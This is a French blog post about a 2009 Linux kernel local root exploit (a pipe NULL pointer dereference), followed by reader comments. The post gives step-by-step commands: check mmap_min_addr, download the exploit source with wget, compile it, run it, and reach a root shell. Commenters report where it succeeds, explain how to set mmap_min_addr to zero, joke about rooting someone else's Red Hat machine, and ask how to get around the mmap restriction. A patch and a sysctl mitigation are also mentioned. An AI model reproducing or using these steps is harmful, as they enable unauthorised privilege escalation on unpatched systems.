Local Root Exploit : pipe null pointer dereference


Black Hat
Une nouvelle faille de sécurité a été découverte dans le noyau Linux pour les versions inférieures à la 2.6.32. L'exploit permet à un simple utilisateur de passer root. La seule solution pour contrer ce type d'attaque est de mettre à jour son système.

Voici un exemple d'utilisation. Pour que l'exploit fonctionne, il faut au préalable que /proc/sys/vm/mmap_min_addr soit à zéro (c'est souvent le cas après avoir installé wine ou qemu) :

cat /proc/sys/vm/mmap_min_addr
0

Si l'on est bien dans ce cas là, on pourra alors récupérer l'exploit et le compiler :

wget www.tux-planet.fr/public/hack/exploits/kernel/local-root-exploit-gayros.c
gcc -o gayros local-root-exploit-gayros.c

Pour finir, on l'exécutera pour passer root :

./gayros
We got NULL page babe!
Using kernel version 2.6.30.8-64.fc11.i586.
Found version 3 structure, doing our tricks in memory...
Go go go boy!
.We've got bush!

sh-4.0# id
uid=0(root) gid=0(root) ...

La faille a été découverte par Earl Chew et situe au niveau des fonctions pipe_read_open(), pipe_write_open() et pipe_rdwr_open() du noyau Linux. Le problème est lié au déréférencement d'un pointeur NULL, et est donc exactement du même type que celle découverte en août 2009.

L'exploit aurait été testé avec succès sur les distributions suivantes :

  • Debian Etch
  • Fedora 6, 10 et 11
  • RedHat 5.3 et 5.4

A noter qu'il contourne les protections SELinux dans le cas de Fedora 10 et RedHat 5.4. Les distributions Debian Sid, Mandriva Linux 2010.0, Fedora 12, Ubuntu (Ibex et supérieurs) et les noyaux patchés avec grsecurity ne sont pas vulnérables.


25 Commentaires pour "Local Root Exploit : pipe null pointer dereference"

Flux des commentaires de cet article Ajouter un commentaire
  •  

    L'exploit fonctionne sur mon Ubuntu 9.04 (mis à jour depuis 8.10)

    RépondreRépondre
    Dd , le 5 novembre 2009 à 18:51
  •  

    J'ai téléchargé et compilé l'exploit sur arch et ça ne passe pas.
    Pourtant le noyau est inférieur à 2.6.32

    "Using kernel version 2.6.31-ARCH."

    RépondreRépondre
    jlaunay , le 5 novembre 2009 à 18:54
  •  

    Fonctionne sur ma 9.10, fraîchement installée.

    ./gayros
    We got NULL page babe!
    Using kernel version 2.6.31-14-generic.
    Found version 3 structure, doing our tricks in memory...
    Go go go boy!
    .We've got bush!
    # id
    uid=0(root) gid=0(root)

    RépondreRépondre
    YetiPasBeau , le 5 novembre 2009 à 19:01
  •  

    En même temps, un liveCD et hop, tu es root ;) mais c'est toujours bon d'avoir le moins de portes d'entrées possible

    RépondreRépondre
    Cretch , le 5 novembre 2009 à 19:07
  •  

    Tiens ! Ça fonctionne en 9.10, c'est normal ça ?

    RépondreRépondre
    djiock , le 5 novembre 2009 à 19:26
  •  

    Je viens de tester sur mon serveur Gentoo (2.6.30-gentoo-r4) et ça me sort :
    ....#./gayros
    mmap: Permission denied
    ....#

    Donc ça ne fonctionne pas :)

    RépondreRépondre
    Droide , le 5 novembre 2009 à 19:26
  •  

    Mis à jour le kernel cet après midi sur mon serveur Debian, toujours aussi réactifs...

    RépondreRépondre
    totopouet , le 5 novembre 2009 à 19:41
  •  

    Testé sous ubuntu 9.10 et ca fonctionne.
    Il est a noter que l'exploit a fonctionné 2 fois pour 6 lancements

    RépondreRépondre
    Labut , le 5 novembre 2009 à 19:50
  •  

    j'ai testé sur quelques uns de mes postes F11 : cat /proc/sys/vm/mmap_min_addr me renvoi toujours 65536.
    Pourtant wine est installé...

    RépondreRépondre
    fgland , le 5 novembre 2009 à 20:11
  •  

    Ça fonctionne chez moi. Ça m'impressionne toujours ce genre de truc.

    RépondreRépondre
    erdnaxeli , le 5 novembre 2009 à 20:32
  •  

    Bon, ben ça marche pas chez moi:
    - Ubuntu 9.10: "No luck this time, are you on an SMP box?". Oui Intel Core2Duo
    - Debian Lenny (Xen): même chose.

    Pour la Debian, je ne sais pas si c'est dû à Xen ou au µproc (AMD phenom). Pourtant, la VM n'a droit qu'à un proc.

    Bref, a marche pô (et tant mieux, mais je vais quand même mettre à jour le kernel)

    RépondreRépondre
    JB , le 5 novembre 2009 à 23:02
  •  

    @Cretch : le liveCd ne te permet pas de passer root sur une machine auquelle tu n'as aucun accès physique.

    @Dd @Djiock @Labut : tiens normalement l'exploit ne devait pas toucher les versions d'Ubuntu > à Ibex. J'ai même pas pensé à tester du coup.

    @Fgland : j'ai testé l'exploit avec succès sur une Fedora 11. Mais elle a subit plusieurs upgrade, ce qui explique peut-être pourquoi chez moi le mmap_min_addr était null.

    @Jb : d'après le message, tu n'utilise un kernel SMP. Ce sont des kernels spéciaux pour les processeurs multi-core et l'exploit ne marche pas dessus.

    RépondreRépondre
    pti-seb , le 5 novembre 2009 à 23:31
  •  

    Je l'ai testé 8x sur ma 9.10 fraîchement installée.. et il ne fonctionne pas...

    Sur mes 8 tentatives, toutes ont échouées :

    - 6 arrêts du programme 1 minute après : "Go go go boy!"
    - 2 arrêts avec le message : "No luck this time, are you on an SMP box? :("

    PS : Using kernel version 2.6.31-14-generic

    RépondreRépondre
    MarcSpitz , le 5 novembre 2009 à 23:32
  •  

    Quand on regarde le code source de l'exploit, on remarquera la présence de la fonction getver(void) qui récupère la version du noyau. Celle-ci vérifie en plus plusieurs conditions, si c'est condition ne sont pas valable, l'exploit ne peut pas marcher.

    RépondreRépondre
    pti-seb , le 6 novembre 2009 à 08:30
  •  

    Testé chez moi sur une Ubuntu 9.10 fraichement installé, j'ai juste du mettre /proc/sys/vm/mmap_min_addr à 0 via les commandes :
    - sudo bash
    - echo 0 > /proc/sys/vm/mmap_min_addr
    (sudo echo 0 > /proc/sys/vm/mmap_min_addr ne fonctionnais pas)
    et hop, l'exploit a fait son miracle ! bouhhhh

    RépondreRépondre
    zefyrin , le 6 novembre 2009 à 15:27
  •  

    Testé sous ma 9.10 et ca ne marche pas.

    ymir@ginnungagap:~$ ./gayros
    We got NULL page babe!
    Using kernel version 2.6.31-14-generic.
    Found version 3 structure, doing our tricks in memory...... Lire la suite
    Go go go boy!
    ymir@ginnungagap:~$

    Au final ,j'ai eu un popup signalant une activité suspect dans le noyau, mais pas de crash ou de passage en root.

    RépondreRépondre
    ymir , le 6 novembre 2009 à 17:13
  •  

    J''ai testé l'exploit sur Jaunty 32 et 64 bits et il fonctionne.
    Pour qu'il ne fonctionne plus, j'ai simplement tapé
    sudo sysctl -w vm.mmap_min_addr=65536

    RépondreRépondre
    vikin , le 6 novembre 2009 à 17:33
  •  

    Bon je viens de tester sous une Ubuntu 9.10 aussi. Ca fonctionne, mais faut lancer l'exploit plusieurs fois.

    Par contre le mmap_min_addr était à null chez moi, vu que j'ai installé wine ...

    RépondreRépondre
    pti-seb , le 6 novembre 2009 à 19:20
  •  

    Houla, j'ai bien fait de passer à BSD ;)

    Sinon je vais peut être enfin avoir les droits root sur une certaine Red Hat. mouhahaha.

    RépondreRépondre
    Jérôme M. , le 7 novembre 2009 à 20:55
  •  

    Fonctionne aussi chez moi sous Ubuntu 9.10. :-( J'ai aussi Wine installé

    RépondreRépondre
    "-" , le 7 novembre 2009 à 21:23
  •  

    @Jérôme M. : La faille a été comblée sur Centos. Donc il y a de fortes chances pour que ce soit le cas aussi sur Red Hat.

    RépondreRépondre
    vikin , le 8 novembre 2009 à 05:45
  •  

    @vikin : Sauf que la red hat est pas à jour. Ils savent rien faire, l'autre fois j'ai du leur expliquer comment recompiler apache avec le module gd par mail..

    RépondreRépondre
    Jérôme M. , le 8 novembre 2009 à 15:42
  •  

    Sorry for the english but my french aren't that good. I'm the author of the exploit. You can find more info and a newer version with detection for debugging symbols at http://fotis.loukos.me/blog. If you can, leave a comment there too if it worked for you! The exploit is a race condition so it don't work always at the first time, so you may need to run it again. Furthermore, you must be on a box with SMP although someone reported it worked at a non SMP box too.

    RépondreRépondre
    Fotis L , le 18 novembre 2009 à 09:19
  •  

    J'ai testé hier sur ma Karmic en noyau 2.6.31-15, ça marchait, pis j'ai fait l'update vers le 2.6.31-16 ce matin, et ça marche plus.

    RépondreRépondre
    Fastolph , le 6 décembre 2009 à 12:15
  •  

    Please, evry one have method how to bypass mmap:permission diened.

    RépondreRépondre
    topsat13 , le 24 août 2010 à 07:12
 

Ajouter un commentaire

actualité android apache apple astuce astuces bash bilboblog blog boot chrome clavier commande commandes conky date debian Desktop développement elementary exploit faille fedora firefox flash gimp gnome google graphique Graphisme hack hacking Hardware humour intel internet iphone jailbreak Jeux Kde kernel libre Linux log logiciels Logiciels Libres lucid lynx maemo mail maquette metasploit microsoft mobile mockup monitoring mozilla multi-touch musique mysql n900 nautilus nokia noyau openoffice open source password photos php Planet publicité redhat red hat rpm réseau screenshot script serveur serveurs shell sql ssh statistiques sysadmin system Sécurité thème tux-planet tv twitter ubuntu unity vidéo vidéos vlc voyage wallpaper windows wordpress yum